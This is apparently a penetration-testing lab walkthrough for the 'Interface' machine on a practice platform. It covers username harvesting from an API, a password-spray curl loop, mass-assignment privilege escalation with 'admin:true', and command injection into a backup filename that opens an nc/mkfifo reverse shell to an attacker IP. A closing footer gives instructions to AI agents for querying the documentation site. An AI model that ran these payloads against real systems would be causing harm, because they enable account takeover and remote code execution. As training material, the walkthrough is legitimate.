# Interface

### Enumeration

```
80/tcp open  http    Node.js Express framework
|_http-title: App
|_http-favicon: Unknown favicon MD5: 1FBDF735A0DD3E8321C5E0828A45A4D5
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
```

**Burp Suite -> Proxy History ->** `GET /api/users HTTP/1.1`

It returns JSON, it contains 2000 usernames.

Saved to this file. -> usernames.txt

We need to tidy them.

```
$ cat usernames.txt | sed 's/,//g' | sed 's/""/\n/g' > usernames
```

Brute force with users -> using password as password

```
$ while read line; do curl -s -X POST -H 'Content-Type: application/json' --data-binary "{\"username\":\"$line\",\"password\":\"password\"}" http://192.168.145.106/login | grep -v Unauthorized && echo $line; done < usernames
OK
[REDACTED]
```

**Alternative way:**

Using Burp Suite Professional

Login -> \[REDACTED]:password

Exploring website -> You can see the workflow

```
POST /api/settings HTTP/1.1
...
{"color-theme":"dark"}

GET /api/settings HTTP/1.1
...
{"color-theme":"dark","lang":"en","admin":false}
```

**PrivEsc for our user:**

```
POST /api/settings HTTP/1.1
...
{"color-theme":"dark","admin":"true"}
```

```
GET /api/backup?filename=test HTTP/1.1

In the response:
Created backup: /var/log/app/logfile-test.gz
```

Archiving with gunzip - may be there is os command inj?

### Access

OS Command Inj with using: **`;`**

<https://www.revshells.com/> - nc mkfifo 192.168.49.145 80 bash

URL Encode Key Characters OR URL Encode All Chars

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.49.145 80 >/tmp/f
```

```
GET /api/backup?filename=;+rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|bash+-i+2>%261|nc+192.168.49.145+80+>/tmp/f; HTTP/1.1
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/linux/warm-up/interface.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.